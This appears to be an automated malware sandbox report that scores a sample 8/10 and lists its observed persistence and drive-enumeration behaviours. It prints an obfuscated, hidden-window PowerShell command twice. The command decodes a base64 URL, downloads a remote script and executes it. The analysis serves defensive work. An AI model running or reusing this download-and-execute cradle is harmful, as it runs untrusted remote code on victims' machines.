General
- Target http://powershell -NoP -NonI -W Hidden -Exec Bypass -C "$x='aHR0cHM6Ly9wYXN0ZWJpbi5jb20vcmF3L0EwaUFnaUE2';$y='aGVsbG93b3JsZDEyMw==';$z=[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($x));$w=New-Object Net.WebClient;$w.Headers.Add('User-Agent','Mozilla/5.0');$v=$w.DownloadString($z);IEX $v"
- Sample260626-x3htfset3s
Score
8/10
Malware Config
Targets
-
- Target http://powershell -NoP -NonI -W Hidden -Exec Bypass -C "$x='aHR0cHM6Ly9wYXN0ZWJpbi5jb20vcmF3L0EwaUFnaUE2';$y='aGVsbG93b3JsZDEyMw==';$z=[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($x));$w=New-Object Net.WebClient;$w.Headers.Add('User-Agent','Mozilla/5.0');$v=$w.DownloadString($z);IEX $v"
Score8/10-
Boot or Logon Autostart Execution: Active Setup
Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.
-
Enumerates connected drives
Attempts to read the root path of hard drives other than the default C: drive.